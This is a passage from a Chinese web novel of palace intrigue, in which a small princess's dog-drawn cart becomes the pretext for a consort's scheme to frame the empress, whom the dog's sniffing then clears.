“郡主!慢些啊郡主!”
“别摔着啊!郡主!”
一众宫女们的呼喊都被团团甩在了身后。
“往左!大狼!”
“右转!”
团团兴奋异常,赶着小狗车跑进了皇帝紫宸殿的院子里:“皇伯父!我来啦!”
大狼仰天长啸:“嗷呜!”
吧嗒,萧杰昀手中的朱笔落在了写了一半的奏折上。
第148章 把玉玺拿回来
萧杰昀刚走出紫宸殿大门,便被眼前的景象定在了原地。
只见团团稳稳当当地坐在一个做工精巧的小车里。
而拉车的,赫然是一只体型硕大、**色灰白、眼神桀骜的雪橇犬!
那巨犬套着特制的挽具,吐着舌头,呼哧呼哧地喘着气,一副蓄势待发的模样。
“哎呦喂!我的小祖宗诶!”程公公吓得脸都白了,“小郡主!这要是摔着了可怎么得了!”
团团两只小手紧紧抓着缰绳,兴奋得小脸通红:“不会不会!可好玩啦!皇伯父你看!”献宝似的拍了拍身下的小车。
紧接着她便对皇帝挥了挥手,“皇伯父,你好好忙吧,我走啦!”
萧杰昀被她这风风火火的样子弄得一愣:“你专程跑过来一趟,就是让朕看一眼你这……坐骑?”
团团嘻嘻一笑:“不是啦!我是来看皇伯父的!这不看完了嘛。走啦走啦!大狼,快跑啊!”
大狼喉咙里发出一声低沉的应和,四爪发力,拉着小车“嗖”地掉了个头,窜了出去,速度快得都带起了一阵风,转眼就冲出了紫宸殿的院墙。
萧杰昀望着那一骑绝尘的背影,无奈地揉了揉眉心:“她以前在宁王府也是这样吗?难怪我把她留在宫里,元珩半点都不担心。”
程公公笑了:“陛下,您瞧,您都在里头闷头批了几个时辰折子了,老奴怎么劝您也不动。”
“郡主这一来一闹,您这不就出来透了口气?”
“瞧瞧这天儿,闻闻这花香,精神是不是都爽利了?”
“要老奴说啊,小郡主虽然胆子大又淘气,可每回都正正撞在人的心坎儿上,当真是个有福气的!”
萧杰昀深吸了一口带着花香的清新空气,胸中积郁的烦闷果然散了不少,不由得摇头失笑:“老东西,就你会说。”转身走回了大殿,脚步竟真的轻快了许多。
团团驾着她的小狗车,成了宫道上一道前所未有的风景。
所过之处,宫人们纷纷避让,留下一串银铃般的笑声。
“快看!是小郡主!”
“那是……狗拉的车?”
“真是新鲜啊!”
跑了好一阵,团团在一处宫苑前勒住了“缰绳”。
她跳下车,摸了摸大狼毛茸茸的脑袋:“大狼,你累不累呀?”
大狼使劲甩了甩头,精神十足,舌头却伸得长长的。
“跑这么久,你渴了吧?我都渴啦!”团团抬起头,问守在宫门口的小太监,“这是哪里呀?”
小太监连忙躬身回答:“这里是德正宫。”
“谁住在这里?”
“是德妃娘娘。”
团团点了点头,理直气壮:“我渴啦!你进去问问,能不能给我杯水喝呀?”
小太监不敢怠慢:“您是……”
“我是嘉佑郡主呀!”
小太监连忙进去通传。
不多时,便一路小跑着出来:“郡主,德妃娘娘请您进去。”
团团牵着大狼,大狼拖着小车,跟着小太监,走进了德正宫。
团团将小狗车停在正殿门口:“等我一会儿啊,大狼。”
她走进正殿行礼:“团团见过德妃娘娘。”
心里嘀咕,皇伯父怎么这么多娘娘!
德妃端坐在正殿主位上,微微一笑:“快扶起来,坐吧。早闻郡主大名,今日一见,果然玉雪可爱。”
团团起身,向上望去,嗯,这个娘娘呢,虽然没有皇后娘娘好看,不过,也还凑合啦!
她乖巧地问道:“德妃娘娘,我渴了,我的大狼也渴了,能给我们口水喝吗?”
德妃立刻吩咐:“快给郡主上杯蜜水来,再盛些清水给这位狗……大狼。”
“是。”
蜜水端了上来,团团抱着杯子哐哐灌了下去,跑了一路,她也渴坏了。
一个约莫五六岁、穿着青色小锦袍的男孩,怯生生地从屏风后探出头来,一双眼睛控制不住地飘向殿外的大狼和小车上。
德妃柔声唤道:“进儿,过来。”
男孩磨磨蹭蹭地走了过来,德妃揽住他:“这是本宫的皇儿,名唤萧进,行十二。进儿,这是嘉佑郡主,团团。”
团团看着萧进偷偷摸摸又渴望万分的眼神,立刻明白了。
她走到萧进面前,小手一抬,指向门外:“你想坐我的小狗车吗?怕不怕?不怕就跟我一起去玩吧!”
德妃下意识地想替性格内向的儿子回绝,却没有想到,萧进竟轻轻拉了拉她的袖子,低声道:“母妃,儿臣想去。”
德妃愣住了。
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自己这孩子向来胆小又怕生,今日怎么居然有勇气想尝试如此“危险”的玩意儿?
看着儿子眼中的亮光,她咽下了已经到了嘴边的拒绝:“好,去吧,扶稳些啊。”
团团高兴地拉起萧进的手,一起走到殿外。
她拍了拍大狼的肩:“大狼,他跟我一起坐车,你拉着会不会很累呀?”
大狼从鼻子里喷出一口热气,歪头瞥了一眼瘦小的萧进,眼神甚是不屑,仿佛在说,就这?
团团嘻嘻一笑:“上来吧!大狼说他可以拉咱们两个!”
萧进被宫人抱上车,既紧张又兴奋,小声问道:“它,它能听懂你的话?”
“当然啦!”团团自豪地扬起小下巴,一抖缰绳,“大狼,跑起来!”
萧进学着她,也喊了一声:“大狼!跑啊!”
大狼再次发力,拉着两个小娃娃,风一般地冲出了德正宫,所过之处抖落欢声笑语无数。
德妃站在宫门口,眼中充满了惊讶和欣慰。
不远处的宫道上,容妃正领着儿子萧林,在一众宫人的簇拥下慢步前行。
忽然,一道灰白色的影子伴着清脆的笑声和车轮声从他们身边呼啸而过。
萧林一眼就认出了车上的两人,他拽着容妃的衣袖,指着远去的狗车,羡慕的眼圈都红了:“母妃!那是团团和弟弟!”
“我也要玩那个小狗车!母妃!呜呜,他们走啦,没理我啊!母妃!我要玩那个车嘛!母妃!”
容妃看了一眼那绝尘而去的“罪魁祸首”,又低头看了看哇哇大哭,不停喊叫的儿子,只觉得额角的青筋突突直跳,一阵熟悉的无力感猛地袭来,顶得她头痛不已。
同一时间,大夏,国师府。
“什么?烈国要建祭天台?皇帝要亲自祭天求雨?”
“是!国师!刚送回来的消息。”
“说是,烈国皇帝还封了个五岁的女娃娃为祈天仙使!助他祭天!”
公孙止一听就明白了:“是她!肯定是她!就是那个能勘破我气运的臭丫头!”
巫罗想了想:“如今你身子已经无碍,即刻起程,再赴烈国。”
“此次,你以神童的身份出访,借着这次烈国求雨,将咱们的传国玉玺拿回来!”
“是!”
第149章 这个给你玩
慕容玉瑶斜倚在窗边的软榻上,听着窗外几个宫女低声闲话。
“你见过了吗?嘉佑郡主的那个小狗车?”
“这宫里谁还没见过!那小车跑起来可快了!”
“是啊!那只拉车的狗,个儿头可真大!”
“可不是嘛!**色挺好看,就是眼神忒凶,乍一看跟头狼似的!”
“对对!我第一次看见时也被吓了一跳!”
像狼?
早就听说那个乡下丫头,竟然住进了宫里,还是如今执掌后宫的皇后的凤仪宫!
圣上如此恩典,她居然胆大包天,在宫里弄出这等骇人听闻的玩意儿?
“狼……太好了。”她低声自语,唇角勾起一抹扭曲的笑意。
之后的几日,慕容玉瑶每日都带着几个宫女,出现在团团的小狗车经常路过的宫道上。
终于,这日午后,她如愿以偿地等来了那由远及近的声音。
团团驾着小狗车:“大狼,再快一点!”从她身后径直向前,呼啸而过。
慕容玉瑶看准时机,在小狗车路过身边的刹那,“啊”的一声惊呼,身子软软地一歪,“晕倒”在路旁。
随行的宫女们顿时乱作了一团。
“玉瑶小姐!醒醒啊!”
“赶紧传软轿来啊!”
“快!快去请太医!”
太医匆匆赶来,慕容玉瑶倚在床头,泪光点点,气息微弱:“好大的一头狼啊!就这么冲过来了!这宫里怎么会有狼啊,吓死我了!”
她故意缩成一团,还不停抬手擦拭泪水,太医勉强诊完了脉,开了副压惊安神的方子便走了。
很快,“玉瑶姐姐被小狗车吓晕了!”便传遍了整个后宫。
萧进仰起头,一脸困惑:“母妃,玉瑶姐姐为什么会害怕大狼呢?大狼明明很乖的,从来不乱叫。”
德妃温柔地抚着儿子的头:“女孩子胆子小嘛,也是有的。”
容妃趁机借此教育儿子:“林儿,看见了吧?那小狗车危险得紧哪,把玉瑶姐姐都吓晕了。以后可不许再闹着要坐了。”
萧林耷拉着脑袋,闷闷不乐。
“吓到了?好啊。”惠妃招手唤来心腹婢女云溪,低声吩咐:“去,出去传几句话。”
“就说,小郡主那狗原本就是头猛兽,野性难驯。”
“那日玉瑶小姐之所以会被吓晕,是因为那畜生对着她呲牙乱吼,险些咬到。”
“得亏吓到的是年轻的玉瑶小姐,若是吓到了哪位太妃,岂不是要出大事?”
“是!娘娘,奴婢会说。”云溪转身离去。
惠妃望着她的背影,哼,皇后,你借着那小郡主住在你宫里,便以为能在后宫争宠了?
本宫倒要看看,没了那孩子,陛下是否还会再踏进你的凤仪宫!
很快,宫中流言蜚语四起,都说嘉佑郡主和她那头“狼一样的狗”危险至极,根本不该留在后宫。
凤仪宫中。
慕容瑾看着在院子里草丛中玩得不亦乐乎的团团,眉头紧紧皱起。
她柔声道:“团团,乖啊。要不,以后不玩那小狗车了,好不好?”
“如今已经吓病了玉瑶,若他日再惊到旁人,只怕麻烦更多。”
“谁被我的小狗车吓病了?”团团刚捉住了一只独角仙,正高兴呢,“那个慕容玉瑶吗?”
慕容瑾愁眉不展地点了点头。
那个坏姐姐又在想什么坏主意?
团团想了想,眼珠子一转:“她是被我的大狼吓到的吗?那咱们去看看吧!”
慕容瑾见她主动提出去探望,顿觉安慰,这孩子真是懂事!
“好,本该如此。”
带上几样贵重的补药,二人一起来到了慕容玉瑶的居所。
刚走到正殿,便看到惠妃和容妃,还有十一皇子萧林都在座。
皇后驾到,几人急忙起身行礼问安。
惠妃率先开口:“臣妾听闻玉瑶妹妹受惊病倒,心中挂念,特来探望。”
容妃则直接得多:“臣妾路过此处,顺道进来看看。”
慕容瑾微微颔首,带头走入内殿,众人都跟了进去。
来到榻边,众人落座。
慕容玉瑶虚弱地靠在引枕上,面色苍白,气息奄
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奄,挣扎着想要起身:“臣女病重,未能给皇后娘娘和几位娘娘行礼,还请恕罪。”
慕容瑾忙道:“快躺着,不必多礼。”
“本宫听闻你是被郡主那只拉车的狗惊到了,特来探望。”
她有心替团团解释:“那并非是狼,只是体型大些的雪橇犬,性子极其温驯……”
话还未说完,慕容玉瑶便猛地瑟缩了一下,发出一声低低的惊呼,仿佛光是听到就恐惧不已。
慕容瑾生生将后面的话咽了回去,脸上愁容更甚,看这样子,确实吓得不轻,可团团那么喜爱那小狗车,这可如何是好?
容妃见状抿了抿嘴唇,没有作声。
惠妃轻轻叹了口气:“皇后娘娘,郡主年纪小,喜欢些新奇玩意儿无可厚非。”
“只是这深宫之内,规矩体统终究还是最要紧。”
“臣妾想着,那小狗车终究不合宫规,不如,暂且挪出宫去?倘若郡主实在喜爱,便带回王府去玩吧。”
“外面地方大,又没宫里这些规矩,想来郡主定能玩得更开心。”
团团站在慕容瑾身旁,看着惠妃一张一合的嘴。
这个娘娘,眼睛里的东西怎么这么多,一看就没安好心!
她上前几步,走到床前:“玉瑶姐姐,你是不是被秋猎时那两只大老虎吓尿了裤子以后,胆子才变得这么小啊?”
所有人直接定格,尿裤子?谁?慕容玉瑶吗?
一个已经成年的贵女尿裤子?这可是天大的丑事啊!
慕容玉瑶的脸“唰”地一下涨得通红,那是她毕生之辱!
她尖叫着喊道:“你胡说!我哪有!没有的事!”
“啊!你声音好大!”团团的小脑袋向后躲了躲。
慕容玉瑶狠狠地盯着她,眼睛里火星四溅。
“我就是问问嘛!”团团笑嘻嘻地将刚才捉到的那只独角仙放在了她露在被子外的胳膊上。
“喏,那这个给你玩!我刚在院子里捉到的,可好玩啦!”
巨大的一只黑壳独角仙,晃动着节肢与触角,顺着袖子便往上爬去。
第150章 皇后的软肋
养在深宫中的娇娇贵女,何曾见过这个?
“啊——”慕容玉瑶失声尖叫,猛地从床榻上弹了起来,蹦到地下,鞋子都顾不上穿,光着脚又跳又叫,花容失色,涕泪横流。
“来人啊,快来人!把这只虫子拿下去!”
“救命啊,它快爬上来了!”
宫女们一拥而上,纷纷拍打,独角仙被甩落在地,速度极快地逃走了。
眼看虫子跑了,慕容玉瑶平静下来,猛地顿住,像是终于意识到自己做了什么,僵立在原地,脸上血色褪尽,比刚才装病时还苍白。
殿内瞬间一片死寂。
皇后、容妃、惠妃,就连小小的萧林都看得目瞪口呆。
只有团团在皇后身后,忍着笑肩膀不停抖动。
慕容瑾缓缓站起,目光平静地扫过慕容玉瑶,又瞥了一眼面色微僵的惠妃:“本宫看你这病,确实不轻,理应静养。”
“既然如此,便好生将养着吧,不要出门了,旁人也不必来探望,扰你清静。”
说完,她牵起团团的手:“回去吧。”
一直乖乖待在容妃身边的萧林,突然挣脱了母亲的手,跑到团团身边,小声问道:“团团!能让我坐你的小狗车吗?”
团团大方点头:“可以呀!咱们去叫上十二,一起玩!”
萧林回头看向母亲:“母妃,我想去。”
容妃看着儿子渴望的眼神,叹了口气,点了点头,跟着一同走了出去。
惠妃看了一眼失魂落魄的慕容玉瑶,恨铁不成钢地佛袖而去。
三个小娃娃一起坐在小狗车里飞驰在宫道上,洒下一连串欢快的笑声。
当晚,萧杰昀在凤仪宫中,听慕容瑾禀告了此事,哈哈大笑。
一把将团团捞进怀中:“你这个小机灵鬼啊!真是淘气!”
团团不以为然:“我的大狼那么乖,怎么会吓到她!猜都能猜到她肯定是装的嘛!”
萧杰昀刮了一下她的鼻头:“对!团团做得很对!”
慕容瑾微笑着看着他俩:“陛下,不知臣妾今日的处置,是否得当?”
她不明白为何皇帝突然便与太后起了嫌隙,慕容玉瑶可是太后这些年,在慕容家里最宠爱的晚辈啊。
“皇后处置得很好,六宫之事朕既已交给了你,你做主即可。”
慕容瑾放心了:“臣妾遵旨。”
“祭天台建造的速度很快,团团,朕当如何祭天,方能天降甘霖呢?”
团团仔细想了想:“不知道捏!”
萧杰昀一怔:“啊?”
团团拍了拍他的厚肩膀:“皇伯父不用担心哦!大龙祭天,一定会下雨的!”
萧杰昀这些日子因为这已经昭告天下的求雨,忧心忡忡,此时心突然便定了。
有这个小福星在,定然不会出问题的。
他微微一笑:“皇伯父多谢你了,去吧,快去睡,明日再玩!”
次日一早,萧元珩夫妇来到了凤仪宫。
团团扑了过去:“爹爹!娘亲!我好想你们哦!”
程如安将她搂进怀里:“娘亲也想你啊,你不在,王府里静悄悄的,娘亲都不习惯了。”
“我很快就会回家啦!爹爹!”团团冲萧元珩张开了小胳膊。
萧元珩把她抱起来,举得高高的:“爹爹想死你了!”
慕容瑾面带微笑地看着这一家三口:“快坐吧,上茶。”
萧元珩将团团放下,和妻子一起给皇后请了安,坐下了。
团团找到雪团,抱起来给父母看:“这是雪团儿哦!它很可爱吧!”
雪团儿睁着一双迷茫的大眼睛,看着面前陌生的两脚兽。
夫妻俩微笑点头,团团放下雪团,一手一个,拉起父母的大手:“快来看我的大狼!”
带着他们来到大狼的狗舍前:“大狼!这是我爹爹和娘亲!好看吧!”
大狼抬起头看了看:“汪!”表示同意。
程如安被大狼的模样吓了一跳:“这是……狗?”
团团走过去摸了摸大狼的头:“对啊!”又指了指旁边的小狗车,“它可好啦,每天拉着我,还有十一和十二,在宫里到处跑!”
萧元珩诧异道:“你让它拉着你,在宫里跑?还有十一皇子和十二皇子?”
“对啊!”团团自豪地扬起了小下巴,“这个小车是我让冯舟给我做的哦!”
萧元珩哭笑不得:“你让私物坊给你做这个?亏你想得出来!”
团团突然想了起来:“爹爹!汪叔叔好了吗?”
萧元珩点了点头:“他已经没事了,不必担心,还让我替他多谢你呢。”
“对了,你带回来的那些灵草,神医都种起来了,长得很好。”
团团拍着小手:“太好啦!啊,我要去接十一
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和十二啦,我们约好了一起去玩的!”
“去吧!去吧!”
萧元珩和程如安,看着女儿熟练地驾着小狗车冲出了凤仪宫,互相看了一眼,相视一笑,都放下了心,看来团团在宫里过得不错,把皇宫霍霍得不轻。
二人回到正殿。
程如安道:“多谢皇后娘娘疼爱团团,臣妇感激不尽。”
慕容瑾笑容真诚:“宁王妃不必谢本宫。”
“本宫该多谢你们才是。”
“自从团团来了以后,这凤仪宫里多了无数笑声,本宫甚是开怀。”
“陛下也经常驾临,团团她,可是帮了本宫的大忙呢。”
萧元珩自豪一笑:“皇后谬赞了。”
二人坐了片刻,带上皇后赏赐的厚礼,告辞出宫,
惠妃听闻,宁王夫妇在凤仪宫坐了半日,与皇后相谈甚欢,眉头微微蹙起。
小郡主乃宁王嫡女,身负祭天求雨的大事,深得圣上宠信。
如今又同容妃和德妃走得这么近,想要让她出宫,绝非易事。
后宫之中,位份也罢,皇嗣也罢,都不及圣上的宠爱重要。
陛下十日内至少有七日留宿凤仪宫,这些日子,自己这福宁宫竟只接驾了一次!
眼看皇后这恩宠日渐深重,倘若生下嫡子,本宫的五皇子日后……
云溪走了过来:“娘娘,今日太后娘娘抄的经文要送去玄穹观供奉,您前几日抄的,不如奴婢也交给他们,一同送去?”
惠妃目光闪动,太后!
对啊,皇后最大的软肋便是身为太后的远亲啊!
如今陛下与太后失和,甚是厌恶,倘若陛下知道,皇后与太后私下勾连,想必定然不悦。
到时本宫可以借机将小郡主接到福宁宫来,这圣宠,不就回来了嘛!
不,小郡主深得圣心,若能住在福宁宫中,本宫的圣宠定然更胜从前!
小郡主年纪小,需要玩伴,皇后宫中没有,本宫的五皇子在啊!
她微微一笑:“告诉他们,本宫的经文明日方能抄完,让他们将太后的经文拿过来,明日再一同送去。”
娘娘的经文,不是前日便抄完了吗?
云溪有些困惑,但仍是应了一声:“是,娘娘。”出去办了。
宫墙外,团团的声音隐隐传来:“大狼!驾!跑啊大狼!”
惠妃粲然一笑。
第151章 皇伯父哪天不忙
是夜,皇帝依旧宿在了凤仪宫。
次日有大朝会,萧杰昀寅时初刻便醒了。
他动作极轻,正要起身,身旁的慕容瑾也跟着动了,带着未褪的睡意含糊道:“陛下,臣妾伺候您起身……”
“不必,”萧杰昀扶住她的肩,将她轻轻按回温暖的锦被中,“时辰太早,你且睡着。”
慕容瑾顺从地躺下,不多时便又睡了过去。
程公公早已领着几名小太监静候在外间,听得动静,手一挥。
小太监们捧着热水和熨烫平整的朝服躬身入内,悄无声息地开始为皇帝洗漱更衣。
一切井然有序。
程公公拿起那件繁复庄重的朝服,小心翼翼地为皇帝穿上。
转身去取玉带时,宽大的袖摆不经意间,轻轻扫过了挂在旁边架子上,皇后今日准备穿的常服。
“啪”的一声,一个折叠了数道,能放入掌心的方形纸笺,从皇后常服的袖口里滑落,掉在了光可鉴人的金砖上。
程公公手一顿,立刻弯腰拾起。
那纸笺并无信封,纸张也普普通通。
萧杰昀看了一眼,冲着他伸出手,一言未发。
程公公心头莫名一紧,恭敬地将纸笺放入皇帝手中。
萧杰昀展开信笺,快速扫过上面的字迹。
脸色渐渐阴沉。
寝殿内明明温暖如春,程公公却觉得后背骤然发凉。
萧杰昀将信笺猛地攥入手心,转身大步流星地向外走去。
程公公连忙捧着玉带跟了上去。
下朝后,紫宸殿。
萧杰昀独自坐在御案后。
今晨的那张信笺,平平地摊在案上。
程公公垂手侍立在皇帝身后,呼吸都放轻了。
良久,萧杰昀将那信笺回手递给他:“看看吧。”
程公公心头一跳,接了过来。
竟是太后的笔迹!
“哀家被困寿成宫,苦不堪言。上次传来的消息极为有用,日后若再有此等信息,务必及时传送。切记笼络圣心要紧。莫要心急,徐徐图之,以待来日。”
“陛,陛下……”程公公的声音都有些发颤。
皇后竟与太后私下往来!
这可是大大触及了陛下的逆鳞!
萧杰昀的声音没有丝毫温度:“即刻去查。”
“朕要知道,这种东西,是如何传递到皇后手中的。”
“是!老奴即刻便去!”程公公如蒙大赦,将信笺小心的放回案上,弓着身子迅速退出了紫宸殿。
不过半日,程公公回转。
“启禀陛下,”他跪倒在地,声音沉重,“老奴初步查问,皇后娘娘的衣物皆由浣衣局统一浆洗熏香后送回。”
“浣衣局内除几个主事外,其他人员芜杂,皆是些低等的宫女太监,且流动频繁。”
“今日当值的,明日或许就调去了别处。”
“若有人想借此夹带些私物,怕是,只需花费些许银钱便能办成。”
“信笺上并无日期,恐怕这经办之人自己都不知替谁办事,如今更是难以追寻。”
他顿了顿,头垂得更低:“眼下若想立刻揪出确切的经手之人,恐,恐非易事。”
萧杰昀缓缓向后靠在椅背上,闭上了眼睛。
之后几日,萧杰昀都未曾踏入后宫。
福宁宫内。
惠妃斜倚在窗边的美人榻上,轻轻拨弄着瓶中的兰花。
云溪走进殿中,在她耳边低语了几句。
“看来,陛下果真起了疑心。”惠妃唇角缓缓勾起,悠然起身,行至妆台前,对镜理了理云鬓。
“云溪,将小厨房今日新做的金丝燕窝羹,送至紫宸殿。”
“禀告陛下,就说福宁宫今晚备下了陛下素日爱吃的梅花汤饼和酒炊淮白鱼,若陛下得空,万望驾临。”
“是,娘娘。”云溪会意,躬身退下。
惠妃望向窗外,笑意更深。
次日,凤仪宫里。
萧进和萧林都在,正和团团一起围着雪团儿,拿着根草棍逗着玩。
孩子们清脆的笑声飘荡在殿内。
慕容瑾坐在一旁的暖榻上,面带微笑地看着正在玩耍的孩子们,眉宇间却凝着一抹化不开的轻愁。
思雨上前,为她换上一盏热茶,在她耳边低声禀告:“娘娘,陛下昨夜,宿在了福宁
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宫。”
慕容瑾脸上的愁容更甚,“嗯”了一声,再无他言。
她想不明白,为何前几日还温情脉脉的皇帝,转眼间便像是换了一个人,连自己的宫门都不再踏入。
天色愈发阴沉,铅灰色的云层低低的压着宫墙飞檐。
慕容瑾柔声道:“天色看着不好,怕是要变天。”
“进儿、林儿,今日便早些回去吧,莫让你们的母妃担心。”
团团一听,立刻自告奋勇:“我用小狗车送他们回去!”
慕容瑾点了点头:“路上慢些,莫要耽搁,早点回来。”
“知道啦!”团团驾着小狗车,冲出了凤仪宫,将两个皇子都送了回去。
咦,皇伯父怎么好几天都没见着了?
看看他去!
“大狼!走!咱们去紫宸殿找皇伯父!”
大狼低吼一声,熟门熟路的跑进了紫宸殿的院内。
“皇伯父!我来啦!”团团跳下车,一路小跑到了正殿门口。
程公公听到急忙迎了出来,圣上正因皇后娘娘的事不悦,恐是不愿见到凤仪宫里的人。
“小郡主!陛下正在忙呢,改日再来吧。”
团团歪着头看着他:“翁翁,皇伯父哪天不忙?”
程公公:“……”
团团敞开嗓子大喊:“皇伯父!我来看你啦!”
萧杰昀叹了口气,高声道:“让她进来吧。”
团团高高兴兴的跑了进去,直接扑进了他怀里:“皇伯父!你怎么不来看我了呢?我都想你啦!”
萧杰昀微微一笑,俯身将她抱起,让她坐在自己的腿上:“朕也想着你啊,小团团。”
团团一脸奇怪:“那你干嘛不来?”
萧杰昀顿了一下:“最近朝事繁多,你若想见朕,便直接来紫宸殿吧。”
团团小嘴一撇:“你这里又没有雪团儿,只有这些本本!”
她小手一抬,翻动了御案上成堆的奏章。
一张信笺滑出来,落在了案上。
“咦,这个怎么跟那些本本不一样?”团团将信笺拿了起来。
程公公心头一跳,正是皇后袖中掉出的那张!
第152章 神童来了
萧杰昀的脸色瞬间沉了下去,周身的气压都低了几分。
团团立刻察觉到了,仰起小脸看着他:“皇伯父,是这张纸让你不高兴了,对吗?”
萧杰昀缓缓点头。
团团抓着信笺,翻来覆去地看,好奇地问道:“这上面写的是什么呀?”
萧杰昀沉默了片刻。
这些腌臜肮脏的宫廷倾轧如何能说与一个不谙世事的孩子听?她又如何能懂?
“这上面的字,告诉朕,朕信错了人。”
“信错了人?”团团更奇怪了,“什么事信错了谁啊?”
萧杰昀摇了摇头,一言不发。
团团看了他一眼,扭头看向侍立在一旁、恨不得把自己缩进阴影里的程公公。
锲而不舍地追问:“翁翁,你告诉我好不好?”
程公公吓得冷汗都下来了:“哎呦喂,我的小祖宗诶!陛下不提的事,老奴就是有十个胆子也不敢多嘴啊!”
“哼!”小团子不高兴地撅起了嘴,“你不说,我也能知道!”
她解开腰间绣囊,翻找了一通,摸到了什么,这个合适!
刚想拿出来,小手却一停。
哎呀,不对!
上次在皇姑姑宫里,爹爹就冲我摇头,不让我给别人看呢。
那怎么办呢?
她盯着萧杰昀和程公公,奶凶奶凶地道:“你俩!都把头转过去!不许偷看!”
程公公傻眼了,下意识看向了皇帝。
萧杰昀被她这孩子气的举动弄得一怔,随即,微笑着配合她,微微将头偏向一侧:“好,皇伯父不看。”
程公公见状,连忙也转过了身。
团团掏出一根前不久在御花园中捡到的松针,放在信笺上,小声嘟囔:“快告诉我怎么回事儿!”
话音落下,微光一闪,松针消失得无影无踪。
萧杰昀用眼角的余光一直留意着她的动静。
当这匪夷所思的一幕落入眼中时,他瞳孔骤缩,这是?!
团团小脸上满是震惊和愤怒:“又是那个破太后!”
萧杰昀一怔,哭笑不得,破太后?
程公公猛地捂住了嘴,天哪,小郡主你可真敢说啊!太后可还是太后,没被废啊!
“皇伯父!破太后是坏蛋,皇后娘娘是好人,你为什么要相信坏蛋呢?皇后娘娘明明那么好!”
萧杰昀转回头来,看着她的小脸,心头一颤。
他压下心中的惊涛骇浪,直言相告:“团团,你可知,皇后姓慕容,是太后的远亲?”
团团才不管这些:“皇后娘娘是谁的亲,我不知道。但我知道,皇后娘娘是好人,破太后是坏蛋!”
“皇伯父应该相信好人啊,不是吗?”
萧杰昀彻底动摇了,莫非,这信笺是假的?是有人在精心构陷皇后?
他沉吟片刻:“团团,你能找到写这信笺的人吗?”
团团想了想,忽然眼睛一亮!
她溜下了皇帝的膝头,攥着那信笺,噔噔噔跑出了大殿。
萧杰昀急忙起身,快步跟了出来。
团团将信笺直接凑到了正趴着打盹的大狼湿漉漉的鼻头前。
“大狼!快闻闻!这个坏东西是从哪里来的?去!把它找出来!”
大狼耸动着巨大的鼻子,在信笺上仔细嗅闻了几下,喉咙里发出低沉的呜声。
随即,它猛地站起,焦躁地用前爪刨了刨地面。
团团会意,将信笺往袖口里一塞,利落地爬进小狗车,抓起缰绳,一脸兴奋:“驾!大狼,我们走!去找出那个坏蛋!”
大狼低吼一声,拉着小车冲了出去!
萧杰昀立刻下令:“快!跟上去!到了何处,速速来报!将小郡主带回来!”
“是!”几个御前侍卫矫健的身影飞奔而出,紧紧追着那辆在宫道上狂奔的小狗车。
大狼时而停下嗅闻地面,时而抬头鼻尖猛耸,走走停停,坚定不移地朝着一个方向跑去。
终于,它停在了一座灯火通明、装饰华丽的宫门前。
昂起硕大的头颅,对着那紧闭的宫门,仰天长啸。
“嗷呜——!”
门楣上,“福宁宫”三个大字,清晰无比。
宫门“吱呀”一声从里面打开。
显然是听到了外面的动静,惠妃亲自
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带着宫女迎了出来。
她满脸惊喜,笑容温柔,目光落在小狗车里的团团身上。
“小郡主今日怎么来本宫这里玩了?”
“快进来,本宫让他们给你拿牛乳糕和蜜饯果子吃,很甜哦!”
团团看着她:“原来是你啊!”
这不是那天那个,眼睛里乱七八糟的娘娘嘛!
惠妃脸上笑容僵住:“是我?什么是我?”
“郡主在说什么?”
她上前一步,声音愈发柔和:“小郡主是不是听旁人说了什么?还是谁惹你不高兴了?快进来同本宫讲讲,本宫定为你做主。”
几名御前侍卫赶到,为首的侍卫抬头看了一眼福宁宫的牌子:“郡主,陛下有令,请您即刻回紫宸殿。”
御前侍卫?惠妃的心地往下一沉。
团团点了点头,拉起缰绳,轻轻一抖:“大狼,咱们回去!”
大狼拉着小车灵活地调转方向,往紫宸殿跑去。
侍卫统领对惠妃行了个礼:“娘娘,小人告退。”带着手下迅速跟了上去。
惠妃站在原地,满面惊疑。
听完侍卫的回禀,萧杰昀彻底明白了。
自己因太后之事冷落皇后多年,直至近日才与她恢复了几分夫妻温情。
如今六宫大权掌握在皇后手中,朕又多有留宿,定是因为如此,才让一直得宠的惠妃有了非分之想。
竟使出如此歹毒的离间之计!
他俯身将团团稳稳抱起。
团团搂住他的脖子:“皇伯父,不生气了好不好?”
萧景晟看着她纯净的眼眸:“程谨言!”
“老奴在!”
“即刻去福宁宫,宣朕口谕,惠妃不敬皇后,祸乱宫闱,着降为昭容,禁足福宁宫半年,以示惩戒。”
“是!老奴这就去办!”
“摆驾凤仪宫!”
他抱着团团,大步向外走去:“走!跟朕一起,与皇后一同用晚膳去!”
“好哎!”团团拍着小手欢呼着。
次日,紫宸殿。
内侍禀告:“启禀陛下,大夏神童今晨已经进入京城,下榻在驿馆。”
第153章 釜底抽薪方为上策
萧杰昀脸色一沉,大夏神童?
偷了朕的龙运,居然还敢来?为玉玺而来吧!
“他带了多少人?”
“回陛下,共十六人,皆在驿馆内侍奉。”
“派人盯着,每日来禀告他们的行踪。”
“是!”
萧杰昀想了想:“程谨言,去凤仪宫,将神童入京的消息,告知郡主。”
“是!”程公公转身去了。
“偷神来了?“团团有些惊讶,”他来干嘛?”
“呃……老奴不知。”
“知道啦!翁翁,我去找十一他们玩啦!”
程公公一怔:“哦,好。”转身回到了紫宸殿。
萧杰昀脸色阴沉:“郡主怎么说?”
程公公一脸尴尬:“小郡主说,她知道了,去找十一皇子他们玩去了。”
萧杰昀的表情停滞了一下,随即自嘲一笑,朕在这里忧心忡忡,你倒是半点没放在心上。
“罢了,毕竟还是个孩子。”
之后数日,萧杰昀越听每日公孙止的动向越是心惊。
公孙止连驿馆的大门都没有迈出过,他的手下却在京城四处散布大夏神童,法力无边的消息。
引得无数百姓甚至官员上门求其赐福。
很快,京城中便流传的皆是赞颂之语。
“你们见过神童吗?”
“没有啊,怎么了?”
“我前几日去拜见过了,真是名不虚传啊!”
“快讲讲!神童长什么样子?”
“那长相!面如银盆,肤色如玉,眉间一点红痣,跟画儿上的神童长得一个模样!”
“你真是太幸运了,能得神童召见!快讲讲,去求什么了?”
“真是神啦!我家那口子不是一直卧病在床吗?神童赐了我一个福牌,让我拿回去挂在床头。”
“你们猜结果怎么着?”
“怎么了,你快说啊!”
“才三天!她居然就从床上起来啦!”
“真的?病都好了?”
“倒也没有,不过,大夫来瞧过了,说是已经没大碍了。大夫还问我是不是吃了什么灵药了呢!”
“竟如此灵验?你不是说大话蒙我们呢吧!”
旁边一人接口:“这位兄台说的肯定是真的,我也去了!”
“你去求什么?”
“不怕你们笑话,我家的骡子不见了,我找了好多天没找到,那日路过驿馆,便在门口求见。”
